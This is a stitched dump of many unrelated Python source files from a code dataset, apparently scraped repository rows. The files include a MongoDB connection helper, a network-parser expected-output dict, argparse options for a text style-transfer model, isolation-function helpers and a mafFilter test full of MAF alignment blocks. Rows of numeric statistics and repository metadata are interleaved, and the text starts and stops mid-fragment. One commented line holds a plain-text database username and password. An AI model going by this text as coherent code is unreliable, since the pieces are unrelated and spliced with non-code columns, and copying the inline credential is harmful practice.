] | null | null | null |
from .dillo import Dillo
from .dillo import Dillo_Session
| 19.333333
| 32
| 0.827586
| 9
| 58
| 5.222222
| 0.444444
| 0.382979
| 0.638298
| 0.851064
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137931
| 58
| 2
| 33
| 29
| 0.94
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
599b336eed705f7963917b7b9651145e8f5cbd55
| 326
|
py
|
Python
|
api/data/config.py
|
sreejonK19/rest-api-parctice
|
bf5a1111de1e32d126849bd5ac12e516475a440c
|
[
"MIT"
] | null | null | null |
api/data/config.py
|
sreejonK19/rest-api-parctice
|
bf5a1111de1e32d126849bd5ac12e516475a440c
|
[
"MIT"
] | null | null | null |
api/data/config.py
|
sreejonK19/rest-api-parctice
|
bf5a1111de1e32d126849bd5ac12e516475a440c
|
[
"MIT"
] | 2
|
2018-11-09T13:07:13.000Z
|
2018-11-09T19:06:18.000Z
|
from mongoengine import *
def connect_db():
# connect(db = 'userdata', host = 'db', port = 5000, username = 'sreejon', password = '12345')
connect(db = 'userdata', host = 'db', port = 5000)
# connect(db = 'userdata', host = 'db', port = 27017)
# connect( db = 'userdata', host = 'localhost', port = 27017 )
| 32.6
| 98
| 0.59816
| 38
| 326
| 5.105263
| 0.421053
| 0.231959
| 0.350515
| 0.43299
| 0.458763
| 0.458763
| 0.319588
| 0
| 0
| 0
| 0
| 0.090551
| 0.220859
| 326
| 10
| 99
| 32.6
| 0.673228
| 0.628834
| 0
| 0
| 0
| 0
| 0.084746
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
59a7728278d1b57b63ab5abec8be46f0c09b5552
| 46
|
py
|
Python
|
src/utils/__init__.py
|
kevin3314/gcn_ppi
|
39b0e618bbb592f9cb8d37edf28deeb7c0987dad
|
[
"MIT"
] | null | null | null |
src/utils/__init__.py
|
kevin3314/gcn_ppi
|
39b0e618bbb592f9cb8d37edf28deeb7c0987dad
|
[
"MIT"
] | 1
|
2021-12-08T02:47:10.000Z
|
2021-12-08T02:47:10.000Z
|
src/utils/__init__.py
|
kevin3314/gcn_ppi
|
39b0e618bbb592f9cb8d37edf28deeb7c0987dad
|
[
"MIT"
] | null | null | null |
from .utils import print_config # noqa: F401
| 23
| 45
| 0.76087
| 7
| 46
| 4.857143
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078947
| 0.173913
| 46
| 1
| 46
| 46
| 0.815789
| 0.217391
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
59a9b2ac380ef05ce28a0f10a86574c95b5c656f
| 4,108
|
py
|
Python
|
src/genie/libs/parser/iosxr/tests/ShowOspfVrfAllInclusiveVirtualLinks/cli/equal/golden_output_1_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 204
|
2018-06-27T00:55:27.000Z
|
2022-03-06T21:12:18.000Z
|
src/genie/libs/parser/iosxr/tests/ShowOspfVrfAllInclusiveVirtualLinks/cli/equal/golden_output_1_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 468
|
2018-06-19T00:33:18.000Z
|
2022-03-31T23:23:35.000Z
|
src/genie/libs/parser/iosxr/tests/ShowOspfVrfAllInclusiveVirtualLinks/cli/equal/golden_output_1_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 309
|
2019-01-16T20:21:07.000Z
|
2022-03-30T12:56:41.000Z
|
expected_output = {
"vrf": {
"default": {
"address_family": {
"ipv4": {
"instance": {
"1": {
"areas": {
"0.0.0.1": {
"virtual_links": {
"0.0.0.1 10.16.2.2": {
"authentication": {
"auth_trailer_key": {
"crypto_algorithm": "simple"
}
},
"cost": 65535,
"dcbitless_lsa_count": 1,
"donotage_lsa": "not allowed",
"dead_interval": 16,
"demand_circuit": True,
"hello_interval": 4,
"hello_timer": "00:00:03:179",
"interface": "GigabitEthernet0/0/0/3",
"name": "VL0",
"link_state": "up",
"nsf": {
"enable": True,
"last_restart": "00:18:16",
},
"retransmit_interval": 44,
"router_id": "10.16.2.2",
"state": "point-to-point,",
"transit_area_id": "0.0.0.1",
"transmit_delay": 5,
"wait_interval": 16,
},
"0.0.0.1 10.100.5.5": {
"authentication": {
"auth_trailer_key": {
"crypto_algorithm": "md5",
"youngest_key_id": 1,
}
},
"cost": 65535,
"dcbitless_lsa_count": 1,
"donotage_lsa": "not allowed",
"dead_interval": 16,
"demand_circuit": True,
"hello_interval": 4,
"hello_timer": "00:00:03:179",
"interface": "GigabitEthernet0/0/0/4",
"name": "VL1",
"link_state": "up",
"nsf": {
"enable": True,
"last_restart": "00:18:16",
},
"retransmit_interval": 44,
"router_id": "10.100.5.5",
"state": "point-to-point,",
"transit_area_id": "0.0.0.1",
"transmit_delay": 5,
"wait_interval": 16,
},
}
}
}
}
}
}
}
}
}
}
| 52.666667
| 82
| 0.19742
| 188
| 4,108
| 4.095745
| 0.37766
| 0.031169
| 0.019481
| 0.025974
| 0.833766
| 0.818182
| 0.706494
| 0.706494
| 0.706494
| 0.706494
| 0
| 0.102698
| 0.720302
| 4,108
| 77
| 83
| 53.350649
| 0.56745
| 0
| 0
| 0.48
| 0
| 0
| 0.195811
| 0.010716
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
59aeaaacc6c24e49e330b9cfbfa03b87414a0642
| 211
|
py
|
Python
|
nmigen/test/utils.py
|
psumesh/nmigen
|
7d611b8fc1d9e58853ff268ec38ff8f4131a9774
|
[
"BSD-2-Clause"
] | 528
|
2020-01-28T18:21:00.000Z
|
2021-12-09T06:27:51.000Z
|
nmigen/test/utils.py
|
DX-MON/nmigen
|
a6a13dd612ee1c9215719c70a5aa410a8775ffdb
|
[
"BSD-2-Clause"
] | 360
|
2020-01-28T18:34:30.000Z
|
2021-12-10T08:03:32.000Z
|
nmigen/test/utils.py
|
DX-MON/nmigen
|
a6a13dd612ee1c9215719c70a5aa410a8775ffdb
|
[
"BSD-2-Clause"
] | 100
|
2020-02-06T21:55:46.000Z
|
2021-11-25T19:20:44.000Z
|
from amaranth.test.utils import *
from amaranth.test.utils import __all__
import warnings
warnings.warn("instead of nmigen.test.utils, use amaranth.test.utils",
DeprecationWarning, stacklevel=2)
| 26.375
| 70
| 0.758294
| 27
| 211
| 5.777778
| 0.555556
| 0.230769
| 0.326923
| 0.269231
| 0.346154
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005618
| 0.156398
| 211
| 7
| 71
| 30.142857
| 0.870787
| 0
| 0
| 0
| 0
| 0
| 0.251185
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
59ba7f4df10bef79adb9daf2b03ac8358463193d
| 1,478
|
py
|
Python
|
halotools/mock_observables/isolation_functions/tests/pure_python_isolation.py
|
pllim/halotools
|
6499cff09e7e0f169e4f425ee265403f6be816e8
|
[
"BSD-3-Clause"
] | 83
|
2015-01-15T14:54:16.000Z
|
2021-12-09T11:28:02.000Z
|
halotools/mock_observables/isolation_functions/tests/pure_python_isolation.py
|
pllim/halotools
|
6499cff09e7e0f169e4f425ee265403f6be816e8
|
[
"BSD-3-Clause"
] | 579
|
2015-01-14T15:57:37.000Z
|
2022-01-13T18:58:44.000Z
|
halotools/mock_observables/isolation_functions/tests/pure_python_isolation.py
|
pllim/halotools
|
6499cff09e7e0f169e4f425ee265403f6be816e8
|
[
"BSD-3-Clause"
] | 70
|
2015-01-14T15:15:58.000Z
|
2021-12-22T18:18:31.000Z
|
"""
"""
import numpy as np
def naive_spherical_isolation(x1arr, y1arr, z1arr, x2arr, y2arr, z2arr,
rmax, xperiod, yperiod, zperiod):
"""
"""
npts1 = len(x1arr)
is_isolated = np.zeros(npts1, dtype=bool)
for i, x1, y1, z1 in zip(range(npts1), x1arr, y1arr, z1arr):
dx = np.abs(x2arr - x1)
dy = np.abs(y2arr - y1)
dz = np.abs(z2arr - z1)
dx = np.where(dx > xperiod/2., xperiod - dx, dx)
dy = np.where(dy > yperiod/2., yperiod - dy, dy)
dz = np.where(dz > zperiod/2., zperiod - dz, dz)
d = np.sqrt(dx**2 + dy**2 + dz**2)
if np.any(d < rmax):
is_isolated[i] = False
else:
is_isolated[i] = True
return is_isolated
def naive_cylindrical_isolation(x1arr, y1arr, z1arr, x2arr, y2arr, z2arr,
rp_max, pi_max, xperiod, yperiod, zperiod):
"""
"""
npts1 = len(x1arr)
is_isolated = np.zeros(npts1, dtype=bool)
for i, x1, y1, z1 in zip(range(npts1), x1arr, y1arr, z1arr):
dx = np.abs(x2arr - x1)
dy = np.abs(y2arr - y1)
dz = np.abs(z2arr - z1)
dx = np.where(dx > xperiod/2., xperiod - dx, dx)
dy = np.where(dy > yperiod/2., yperiod - dy, dy)
dz = np.where(dz > zperiod/2., zperiod - dz, dz)
dxy = np.sqrt(dx**2 + dy**2)
if np.any((dxy < rp_max) & (dz < pi_max)):
is_isolated[i] = False
else:
is_isolated[i] = True
return is_isolated
| 31.446809
| 73
| 0.541272
| 217
| 1,478
| 3.612903
| 0.239631
| 0.102041
| 0.076531
| 0.061224
| 0.864796
| 0.864796
| 0.834184
| 0.734694
| 0.734694
| 0.734694
| 0
| 0.053711
| 0.307172
| 1,478
| 46
| 74
| 32.130435
| 0.711914
| 0
| 0
| 0.742857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.057143
| false
| 0
| 0.028571
| 0
| 0.142857
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ab6b721bb13d67cd66b3a1321a0122640ff1aae2
| 444
|
py
|
Python
|
2017-11-29.py
|
shangpf1/python_study
|
6730519ce7b5cf4612e1c778ae5876cfbb748a4f
|
[
"MIT"
] | null | null | null |
2017-11-29.py
|
shangpf1/python_study
|
6730519ce7b5cf4612e1c778ae5876cfbb748a4f
|
[
"MIT"
] | null | null | null |
2017-11-29.py
|
shangpf1/python_study
|
6730519ce7b5cf4612e1c778ae5876cfbb748a4f
|
[
"MIT"
] | null | null | null |
"""
我的练习02-python赋值运算
"""
a = 21
b = 10
c = 3
c += a # c = c + a
print ("line 1 - value of c is",c)
c -=a # c = c - a
print ("line 2 - value of c is",c)
c *= a # c = c * a
print ("line 3 - value of c is",c)
c /= a # c = c / a
print ("line4 - value of c is",c)
c %= a # c = c % a
print ("line 5 - value of c is",c)
c //= a # c = c // a
print ("line 6 - value of c is",c)
c **= a # c = c ** a
print ("line 7 - value of c is",c)
| 15.310345
| 34
| 0.463964
| 98
| 444
| 2.102041
| 0.193878
| 0.135922
| 0.18932
| 0.135922
| 0.830097
| 0.776699
| 0.776699
| 0.708738
| 0.708738
| 0.708738
| 0
| 0.047138
| 0.331081
| 444
| 28
| 35
| 15.857143
| 0.646465
| 0.202703
| 0
| 0
| 0
| 0
| 0.451327
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.411765
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
abc23c0b22e7969cc82bc9a6d11483d03b399ec0
| 6,367
|
py
|
Python
|
src/options.py
|
janoschhaber/textstyletransfer
|
0960e695437910b420abbe5cf76dc680b8af7643
|
[
"Apache-2.0"
] | null | null | null |
src/options.py
|
janoschhaber/textstyletransfer
|
0960e695437910b420abbe5cf76dc680b8af7643
|
[
"Apache-2.0"
] | null | null | null |
src/options.py
|
janoschhaber/textstyletransfer
|
0960e695437910b420abbe5cf76dc680b8af7643
|
[
"Apache-2.0"
] | null | null | null |
import sys
import argparse
import pprint
import tensorflow as tf
def load_arguments():
argparser = argparse.ArgumentParser(sys.argv[0])
argparser.add_argument('--train',
type=str,
default='')
argparser.add_argument('--dev',
type=str,
default='')
argparser.add_argument('--test',
type=str,
default='')
argparser.add_argument('--online_testing',
type=bool,
default=False)
argparser.add_argument('--output',
type=str,
default='')
argparser.add_argument('--vocab',
type=str,
default='')
argparser.add_argument('--model',
type=str,
default='')
argparser.add_argument('--load_model',
type=bool,
default=False)
argparser.add_argument('--batch_size',
type=int,
default=64) # default = 64
argparser.add_argument('--max_epochs',
type=int,
default=20) # default = 20
argparser.add_argument('--steps_per_checkpoint',
type=int,
default=1000) # default = 1000
argparser.add_argument('--max_seq_length',
type=int,
default=20)
argparser.add_argument('--max_train_size',
type=int,
default=-1)
argparser.add_argument('--beam',
type=int,
default=8)
argparser.add_argument('--dropout_keep_prob',
type=float,
default=0.7)
argparser.add_argument('--n_layers',
type=int,
default=1)
argparser.add_argument('--dim_y',
type=int,
default=200)
argparser.add_argument('--dim_z',
type=int,
default=500)
argparser.add_argument('--dim_emb',
type=int,
default=100)
argparser.add_argument('--learning_rate',
type=float,
default=0.0001)
#argparser.add_argument('--learning_rate_decay',
# type=float,
# default=0.5)
argparser.add_argument('--rho', # loss_g - rho * loss_d
type=float,
default=1)
argparser.add_argument('--gamma_init', # softmax(logit / gamma)
type=float,
default=1)
argparser.add_argument('--gamma_decay',
type=float,
default=0.5)
argparser.add_argument('--gamma_min',
type=float,
default=0.001)
argparser.add_argument('--max_filter_width',
type=int,
default=4)
argparser.add_argument('--n_filters',
type=int,
default=256)
args = argparser.parse_args()
tf.logging.info('------------------------------------------------')
pp = pprint.PrettyPrinter(indent=4)
pp.pprint(vars(args))
tf.logging.info('------------------------------------------------')
return args
def load_arguments_live():
argparser = argparse.ArgumentParser(sys.argv[0])
argparser.add_argument('--train',
type=str,
default='')
argparser.add_argument('--dev',
type=str,
default='')
argparser.add_argument('--test',
type=str,
default='')
argparser.add_argument('--online_testing',
type=bool,
default=True)
argparser.add_argument('--output',
type=str,
default='/media/janosch/DATA/Documents/Mostafa/textstyletransfer/textstyletransfer/tmp/sentiment.test')
argparser.add_argument('--vocab',
type=str,
default='/media/janosch/DATA/Documents/Mostafa/textstyletransfer/textstyletransfer/tmp/yelp.vocab')
argparser.add_argument('--model',
type=str,
default='/media/janosch/DATA/Documents/Mostafa/textstyletransfer/textstyletransfer/tmp/model')
argparser.add_argument('--load_model',
type=bool,
default=True)
argparser.add_argument('--batch_size',
type=int,
default=64) # default = 64
argparser.add_argument('--max_epochs',
type=int,
default=1) # default = 20
argparser.add_argument('--steps_per_checkpoint',
type=int,
default=1000) # default = 1000
argparser.add_argument('--max_seq_length',
type=int,
default=20)
argparser.add_argument('--max_train_size',
type=int,
default=-1)
argparser.add_argument('--beam',
type=int,
default=8)
argparser.add_argument('--dropout_keep_prob',
type=float,
default=0.7)
argparser.add_argument('--n_layers',
type=int,
default=1)
argparser.add_argument('--dim_y',
type=int,
default=200)
argparser.add_argument('--dim_z',
type=int,
default=500)
argparser.add_argument('--dim_emb',
type=int,
default=100)
argparser.add_argument('--learning_rate',
type=float,
default=0.0001)
#argparser.add_argument('--learning_rate_decay',
# type=float,
# default=0.5)
argparser.add_argument('--rho', # loss_g - rho * loss_d
type=float,
default=1)
argparser.add_argument('--gamma_init', # softmax(logit / gamma)
type=float,
default=1)
argparser.add_argument('--gamma_decay',
type=float,
default=0.5)
argparser.add_argument('--gamma_min',
type=float,
default=0.001)
argparser.add_argument('--max_filter_width',
type=int,
default=4)
argparser.add_argument('--n_filters',
type=int,
default=256)
args = argparser.parse_args()
tf.logging.info('------------------------------------------------')
pp = pprint.PrettyPrinter(indent=4)
pp.pprint(vars(args))
tf.logging.info('------------------------------------------------')
return args
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0
| 9
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e6328e466310f54985dff88b483eb3abb0e47d36
| 39
|
py
|
Python
|
setmy53dns/__init__.py
|
Glocktober/setmy53dns
|
0ab11c4ce538a3fcc21384b4c0b86ef1a56eb28e
|
[
"MIT"
] | null | null | null |
setmy53dns/__init__.py
|
Glocktober/setmy53dns
|
0ab11c4ce538a3fcc21384b4c0b86ef1a56eb28e
|
[
"MIT"
] | null | null | null |
setmy53dns/__init__.py
|
Glocktober/setmy53dns
|
0ab11c4ce538a3fcc21384b4c0b86ef1a56eb28e
|
[
"MIT"
] | null | null | null |
from .set_my_rt53_dns import set_my_dns
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0
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050139fa00e47cb6b04fb9ec3d3eb53d0e68ddc8
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|
py
|
Python
|
mafFilter/src/test.mafFilter.py
|
sedlakovi/mafTools
|
a3a79fb29467052996a2a56ef20acac92410da04
|
[
"MIT"
] | 63
|
2015-03-24T15:31:42.000Z
|
2022-02-14T09:15:49.000Z
|
mafFilter/src/test.mafFilter.py
|
sedlakovi/mafTools
|
a3a79fb29467052996a2a56ef20acac92410da04
|
[
"MIT"
] | 19
|
2015-03-03T00:19:45.000Z
|
2022-03-17T11:14:14.000Z
|
mafFilter/src/test.mafFilter.py
|
sedlakovi/mafTools
|
a3a79fb29467052996a2a56ef20acac92410da04
|
[
"MIT"
] | 23
|
2015-04-27T13:39:03.000Z
|
2022-03-21T15:38:06.000Z
|
##################################################
# Copyright (C) 2013 by
# Dent Earl (dearl@soe.ucsc.edu, dentearl@gmail.com)
# ... and other members of the Reconstruction Team of David Haussler's
# lab (BME Dept. UCSC).
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
##################################################
import os
import random
import re
import sys
import unittest
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(sys.argv[0]), '../../lib/')))
import mafToolsTest as mtt
g_sequenceList = 'target0,target1,target2'
g_header = None
g_headers = ['''##maf version=1 scoring=tba.v8
# tba.v8 (((human chimp) baboon) (mouse rat))
''',
'''##maf version=1 scoring=tba.v8
# tba.v8 (((human chimp) baboon) (mouse rat))
''',]
# these are triples of blocks, target positions for True,
# line numbers where the target occurs.
g_knownIncludes = [('''a score=0
# test1
s target0.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
''',
'''a score=0
# test1
s target0.chr0 0 13 + 158545518 gcagctgaaaaca
'''),
('''a score=0
# test2
s target1.chr0 38 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
''',
'''a score=0
# test2
s target1.chr0 38 13 + 158545518 gcagctgaaaaca
''' ),
('''a score=0
# test3
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
s name5 50 10 + 100 ATGTATG---CCG
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s target2.chr0 158545457 10 - 158545518 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
''',
'''a score=0
# test3
s target2.chr0 158545457 10 - 158545518 ATGTATG---CCG
'''),
('''a score=0
# test4
s name 10 10 + 100 ATGTAT---GCCG
s name2.chr1 50 10 + 100 ATGTAT---GCCG
s name3.chr9 50 10 + 100 ATGTAT---GCCG
s name4.chr& 50 10 + 100 ATGTAT---GCCG
s name5 50 10 + 100 ATGTAT---GCCG
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s target0.chr0 62 9 + 158545518 gca---gaa-aca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s hg16.chr7 27707221 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s target1.chr0 50 10 + 100 ATGTATG---CCG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
''',
'''a score=0
# test4
s target0.chr0 62 9 + 158545518 gca---gaa-aca
a score=0
s target1.chr0 50 10 + 100 ATGTATG---CCG
'''),
# the overlap is 9 bases long, 62-70
]
g_knownExcludes = [('''a score=0
# test5
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
''',
'''a score=0
# test5
s target.chr0 0 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
'''),
('''a score=0
# test6
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
''',
'''a score=0
# test6
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
s name.chr1 0 10 + 100 ATGT---ATGCCG
s name2.chr1 50 10 + 100 ATGT---ATGCCG
s name3.chr9 50 10 + 100 ATGTA---TGCCG
s name4.chr& 50 10 + 100 ATG---TATGCCG
s name5 50 10 + 100 ATGTATGCCG
''' ),
('''a score=0
# test7
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
s name5 50 10 + 100 ATGTATG---CCG
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s target2.chr0 158545457 10 - 158545518 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
''',
'''a score=0
# test7
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
s name5 50 10 + 100 ATGTATG---CCG
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
'''),
('''a score=0
# test8
s name 10 10 + 100 ATGTAT---GCCG
s name2.chr1 50 10 + 100 ATGTAT---GCCG
s name3.chr9 50 10 + 100 ATGTAT---GCCG
s name4.chr& 50 10 + 100 ATGTAT---GCCG
s name5 50 10 + 100 ATGTAT---GCCG
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s target.chr0 62 9 + 158545518 gca---gaa-aca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s hg16.chr7 27707221 13 + 158545518 gcagctgaaaaca
s panTro1.chr6 28869787 13 + 161576975 gcagctgaaaaca
s baboon 249182 13 + 4622798 gcagctgaaaaca
s mm4.chr6 53310102 13 + 151104725 ACAGCTGAAAATA
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
a score=0
s name 0 10 + 100 ATGTATGC---CG
s target2.chr0 50 10 + 100 ATGTATG---CCG
s name2.chr1 50 10 + 100 ATGTATG---CCG
s name3.chr9 50 10 + 100 ATGTATG---CCG
s name4.chr& 50 10 + 100 ATGTATG---CCG
''',
'''a score=0
# test8
s name 10 10 + 100 ATGTAT---GCCG
s name2.chr1 50 10 + 100 ATGTAT---GCCG
s name3.chr9 50 10 + 100 ATGTAT---GCCG
s name4.chr& 50 10 + 100 ATGTAT---GCCG
s name5 50 10 + 100 ATGTAT---GCCG
